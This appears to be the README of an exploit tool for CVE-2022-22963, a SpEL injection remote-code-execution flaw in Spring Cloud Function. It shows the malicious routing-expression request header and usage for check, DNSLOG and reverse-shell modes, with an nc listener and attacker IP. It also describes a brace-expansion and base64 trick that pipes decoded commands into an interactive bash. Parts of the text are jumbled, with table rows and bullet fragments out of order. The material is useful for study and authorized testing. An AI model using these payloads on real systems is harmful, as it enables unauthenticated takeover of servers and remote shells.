
CVE-2022-22963-poc
Spring Cloud Function SpEL Expression Injection Remote Code Execution Vulnerability Detection and Exploitation Tool.
CVE-2022-22963 is a high-severity RCE vulnerability (CVSS 9.8) in the routing functionality of Spring Cloud Function. When the application enables the /functionRouter endpoint, the value of the spring.cloud.function.routing-expression request header is directly executed as a SpEL (Spring Expression Language) expression, allowing an attacker to execute arbitrary system commands on the target server without authentication.
Affected Versions:
| Branch | Affected Version | Fixed Version |
|---|---|---|
| 3.1.x | < 3.1.7 | 3.1.7 |
| 3.2.x | < 3.2.3 | 3.2.3 |
Vulnerability Principle:
POST /functionRouter HTTP/1.1
Host: target.example.com
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("id")
Content-Type: application/x-www-form-urlencoded
test
After the server executes the SpEL, exec() returns a Process object. When Spring attempts to serialize it, an exception is thrown and the response is HTTP 500. The command runs asynchronously in the background, and the result is not reflected in the HTTP response. It must be confirmed through side channels such as DNSLOG or reverse shell.
ping request to a DNSLOG domain and confirm command execution via DNS recordspip install requests
Python 3.6+ with no other dependencies.
python3 CVE-2022-22963.py -u <target URL> [options]
python3 CVE-2022-22963.py -u http://target.example.com -c
2024-01-01 12:00:00 - INFO - [+] http://target.example.com is vulnerable!
Used to confirm actual command execution when there is no echo:
python3 CVE-2022-22963.py -u http://target.example.com -m dnslog -d abc123.dnslog.cn
2024-01-01 12:00:01 - INFO - [+] payload sent. Please check if abc123.dnslog.cn receives a DNS request (confirm actual execution)
Then check the DNSLOG platform for DNS query records originating from the target IP.
Start a listener on the attacker machine:
nc -lvnp 9999
Send the payload:
python3 CVE-2022-22963.py -u http://target.example.com -m shell -i 192.168.1.100 -p 9999
2024-01-01 12:00:02 - INFO - [+] payload sent. Please wait for connection on 192.168.1.100:9999 (only supports Linux/bash targets)
Note: The reverse shell relies on
/dev/tcpsupport on the target system and is only applicable to Linux + bash environments. It does not support Windows targets or shells such as sh/ash/dash.
The detection request sends a real SpEL expression to /functionRouter:
T(java.lang.Runtime).getRuntime().exec('id')
Process object cannot be serialized → HTTP 500 + "path":"/functionRouter"Runtime.exec(String) does not go through a shell interpreter; it tokenizes the command string by spaces and cannot handle pipes and redirections. The tool bypasses this as follows:
{cmd,arg} instead of spaces-c argument ultimately handles pipes and redirectionsbash -c {echo,BASE64}|{base64,-d}|{bash,-i}
↕ Java exec tokenizes by spaces
["bash", "-c", "{echo,BASE64}|{base64,-d}|{bash,-i}"]
↕ bash -c performs brace expansion on the argument
echo BASE64 | base64 -d | bash -i
| Date | Version | Description |
|---|---|---|
| 2023-12-28 | v1.0 | Initial release |
| 2025-10-09 | v1.1 | Code refactoring, improved argument handling and error handling |
| 2026-06-29 | v1.2 |
This tool is intended solely for security research, authorized penetration testing, and educational purposes.
By using this tool, you agree to:
The author assumes no responsibility for any unauthorized use or its consequences.
| Argument | Description | Default |
|---|
-u, --url | Target URL (required) | — |
-c, --check | Check if the vulnerability exists | — |
-m, --mode | Exploitation mode: dnslog or shell | — |
-d, --dns | DNSLOG domain (used with -m dnslog) | — |
-i, --ip | IP address for reverse shell listener (used with -m shell) | — |
-p, --port | Port for reverse shell listener | 9999 |
-t, --timeout | Request timeout (seconds) | 5 |
| Fixed detection false positives, context path concatenation, and exploit return value semantics |